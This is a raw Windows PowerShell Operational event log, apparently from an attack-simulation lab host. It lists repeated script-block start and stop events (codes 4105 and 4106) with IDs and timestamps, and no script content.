Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038279
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038278
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038277
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038276
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038275
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038274
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038273
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038272
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038271
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038270
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038269
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038268
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038267
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038266
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038265
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038264
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038263
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038262
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038261
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038260
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038259
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038258
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038257
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038256
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038255
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038254
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038253
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038252
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038251
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038250
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038249
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038248
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038247
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038246
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038245
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038244
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038243
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038242
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038241
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038240
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038239
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038238
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038237
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038236
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038235
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038234
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038233
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038232
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038231
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038230
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038229
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038228
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038227
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
